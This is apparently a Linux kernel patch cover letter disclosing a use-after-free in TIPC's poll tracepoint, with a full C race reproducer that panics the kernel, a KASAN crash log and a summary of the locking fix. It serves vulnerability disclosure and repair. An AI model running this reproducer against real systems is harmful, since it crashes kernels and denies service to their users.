[PATCH net v2 0/1] tipc: avoid use-after-free in poll trace queue dumps

[Ren Wei <enjou1224z@gmail.com>]

From: Zihan Xi <xizh2024@lzu.edu.cn>

Hi Linux kernel maintainers,

We found and validated a bug in net/tipc/socket.c. The bug is
reachable by a local process that can create TIPC sockets and enable
TIPC tracepoints. We rebuilt and reran the reproducer with the updated
fix, and it preserves the trace output while removing the crash.

This series contains one patch:
  1/1 tipc: avoid use-after-free in poll trace queue dumps

Compared with v1, this revision follows the feedback that the trace path
should keep the queue/backlog information that is useful for debugging.
We also tested the suggested tipc_poll() change to switch this tracepoint
to TIPC_DUMP_NONE. That looks like it can avoid the reported poll stack,
but it only disables queue dumping at this one caller and does not change
the lifetime assumptions in tipc_sk_dump()/tipc_list_dump() themselves.
This v2 therefore tries to preserve the existing trace information while
serializing the poll trace snapshot with the socket lock, gated by
trace_tipc_sk_poll_enabled().

v1 Link: https://lore.kernel.org/all/24f7311aed0c9ff06b8ea982647b82bf543ec369.1784454542.git.xizh2024@lzu.edu.cn/

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

TIPC socket tracepoints dump queue state through tipc_sk_dump(). Most
queue-dump callsites already serialize that walk under the socket lock
or sk->sk_lock.slock, but tipc_poll() calls
trace_tipc_sk_poll(..., TIPC_DUMP_ALL, ...) without holding either
lock.

That lets the poll trace path reach tipc_list_dump() and backlog
head/tail dumping while another context dequeues and frees an skb,
leaving the trace helper dereferencing a stale queue entry.

This v2 keeps the existing queue and backlog trace output, but
serializes the poll trace snapshot with the socket lock. The new
locking is gated on trace_tipc_sk_poll_enabled() so the hot poll path
does not take the lock when the tracepoint is disabled.

Reproducer:

Guest:
    gcc -O2 -pthread -Wall /root/tipc_poc.c -o /root/tipc_poc
    mount -t tracefs nodev /sys/kernel/tracing 2>/dev/null || true
    tipc node set identity 1.1.1
    timeout 30s /root/tipc_poc

Host:
    make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 olddefconfig
    make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 -j$(nproc) bzImage

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tipc.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define TRACE "/sys/kernel/tracing"
#define TIPC_TYPE 5555

static volatile int stop_flag;
static int srv_fd, cli_fd;

static void write_file(const char *path, const char *s)
{
    int fd = open(path, O_WRONLY | O_TRUNC);
    if (fd < 0) { perror(path); exit(1); }
    if (write(fd, s, strlen(s)) < 0) { perror("write"); exit(1); }
    close(fd);
}

static void enable_trace(void)
{
    char path[256];
    write_file(TRACE "/tracing_on", "0\n");
    write_file(TRACE "/trace", "");
    const char *evs[] = {"tipc_sk_poll", "tipc_sk_filter_rcv", "tipc_sk_overlimit1", "tipc_sk_overlimit2"};
    for (int i = 0; i < 4; i++) {
        snprintf(path, sizeof(path), TRACE "/events/tipc/%s/enable", evs[i]);
        write_file(path, "1\n");
    }
    write_file(TRACE "/tracing_on", "1\n");
}

static void *sender(void *arg)
{
    char payload[4096];
    long cnt = 0;
    memset(payload, 'A', sizeof(payload));
    struct sockaddr_tipc dst = {0};
    dst.family = AF_TIPC;
    dst.addrtype = TIPC_SERVICE_ADDR;
    dst.scope = TIPC_CLUSTER_SCOPE;
    dst.addr.name.name.type = TIPC_TYPE;
    dst.addr.name.name.instance = 1;
    dst.addr.name.domain = 0;
    while (!stop_flag) {
        if (sendto(cli_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) >= 0)
            cnt++;
    }
    printf("sent %ld\n", cnt);
    return NULL;
}

static void *poller(void *arg)
{
    struct pollfd pfd = {.fd = srv_fd, .events = POLLIN};
    long cnt = 0;
    while (!stop_flag) {
        poll(&pfd, 1, 0);
        cnt++;
    }
    printf("poll %ld\n", cnt);
    return NULL;
}

static void *receiver(void *arg)
{
    char buf[4096];
    long cnt = 0;
    fcntl(srv_fd, F_SETFL, fcntl(srv_fd, F_GETFL) | O_NONBLOCK);
    while (!stop_flag) {
        ssize_t n = recv(srv_fd, buf, sizeof(buf), 0);
        if (n > 0) cnt++;
        else if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {}
    }
    printf("recv %ld\n", cnt);
    return NULL;
}

int main(void)
{
    enable_trace();
    srv_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (srv_fd < 0) { perror("socket srv"); return 1; }
    int rcvbuf = 1 << 20;
    setsockopt(srv_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
    struct sockaddr_tipc srv = {0};
    srv.family = AF_TIPC;
    srv.addrtype = TIPC_SERVICE_RANGE;
    srv.scope = TIPC_CLUSTER_SCOPE;
    srv.addr.nameseq.type = TIPC_TYPE;
    srv.addr.nameseq.lower = 1;
    srv.addr.nameseq.upper = 1;
    if (bind(srv_fd, (struct sockaddr *)&srv, sizeof(srv)) < 0) { perror("bind"); return 1; }
    struct sockaddr_tipc name = {0};
    socklen_t namelen = sizeof(name);
    if (getsockname(srv_fd, (struct sockaddr *)&name, &namelen) < 0) { perror("getsockname"); return 1; }
    unsigned int portid = name.addr.id.ref;
    printf("server portid %u\n", portid);
    char filter[128];
    snprintf(filter, sizeof(filter), "%u 0 0 0 0\n", portid);
    write_file("/proc/sys/net/tipc/sk_filter", filter);

    cli_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (cli_fd < 0) { perror("socket cli"); return 1; }
    int imp = TIPC_CRITICAL_IMPORTANCE;
    setsockopt(cli_fd, SOL_TIPC, TIPC_IMPORTANCE, &imp, sizeof(imp));

    pthread_t th[3];
    pthread_create(&th[0], NULL, sender, NULL);
    pthread_create(&th[1], NULL, poller, NULL);
    pthread_create(&th[2], NULL, receiver, NULL);
    sleep(5);
    stop_flag = 1;
    for (int i = 0; i < 3; i++) pthread_join(th[i], NULL);
    system("tail -80 /sys/kernel/tracing/trace");
    return 0;
}
------END poc.c--------

----BEGIN crash log----
[  282.625215][ T9764] page_owner tracks the page as allocated
[  282.626124][ T9764] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9763, tgid 9760 (python3), ts 282622559122, free_ts 280322580853
[  282.628916][ T9764] page last free pid 9750 tgid 9750 stack trace:
[  282.630090][ T9764] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  282.631030][ T9764] CPU: 1 UID: 0 PID: 9764 Comm: python3 Not tainted 7.1.0-rc2 #10 PREEMPT(full)
[  282.632219][ T9764] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  282.633618][ T9764] Call Trace:
[  282.634056][ T9764]  <TASK>
[  282.634440][ T9764]  vpanic+0x6c3/0x790
[  282.634974][ T9764]  ? __pfx_vpanic+0x10/0x10
[  282.635573][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.636323][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.637064][ T9764]  ? irqentry_exit+0x24d/0x830
[  282.637683][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.638419][ T9764]  ? lockdep_hardirqs_on+0x7b/0x110
[  282.639112][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.639756][ T9764]  panic+0xca/0xd0
[  282.640261][ T9764]  ? __pfx_panic+0x10/0x10
[  282.640855][ T9764]  check_panic_on_warn+0x61/0x80
[  282.641542][ T9764]  end_report+0x13e/0x180
[  282.642133][ T9764]  kasan_report+0xf4/0x120
[  282.642764][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.643600][ T9764]  tipc_skb_dump+0x14a4/0x14d0
[  282.644400][ T9764]  tipc_list_dump+0x1b6/0x2a0
[  282.645093][ T9764]  tipc_sk_dump+0xa92/0xcc0
[  282.645700][ T9764]  ? trace_event_buffer_reserve+0x150/0x300
[  282.646510][ T9764]  trace_event_raw_event_tipc_sk_class+0x2c1/0x490
[  282.647402][ T9764]  ? __pfx_trace_event_raw_event_tipc_sk_class+0x10/0x10
[  282.648345][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649114][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649884][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.650654][ T9764]  ? __pfx_tipc_poll+0x10/0x10
[  282.651310][ T9764]  tipc_poll+0x290/0x590
[  282.651895][ T9764]  sock_poll+0x134/0x490
[  282.652492][ T9764]  do_sys_poll+0x507/0xbf0
[  282.653113][ T9764]  ? __pfx_do_sys_poll+0x10/0x10
[  282.653829][ T9764]  ? do_raw_spin_lock+0x12d/0x270
[  282.654597][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.655369][ T9764]  ? do_futex+0x1cd/0x230
[  282.655977][ T9764]  ? __pfx_do_futex+0x10/0x10
[  282.656614][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.657381][ T9764]  __x64_sys_poll+0x181/0x3e0
[  282.658035][ T9764]  ? __pfx___x64_sys_poll+0x10/0x10
[  282.658745][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.659515][ T9764]  ? rcu_is_watching+0x12/0xc0
[  282.660208][ T9764]  do_syscall_64+0x116/0xf80
[  282.660823][ T9764]  ? irqentry_exit+0x117/0x830
[  282.661476][ T9764]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  282.662266][ T9764] RIP: 0033:0x7f332e77d9ee
[  282.662861][ T9764] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  282.664714][ T9764] RSP: 002b:00007f332d6fdb58 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[  282.665298][ T9764] RAX: ffffffffffffffda RBX: 00007f332d6fe6c0 RCX: 00007f332e77d9ee
[  282.665838][ T9764] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f332e604450
[  282.666442][ T9764] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  282.666986][ T9764] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f332e1834c0
[  282.667563][ T9764] R13: 000000000c939210 R14: 00007f332d6fe640 R15: 00007f332e19af10
[  282.668176][ T9764]  </TASK>
[  282.669068][ T9764] Kernel Offset: disabled
[  282.669366][ T9764] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  tipc: avoid use-after-free in poll trace queue dumps

 net/tipc/socket.c | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

-- 
2.43.0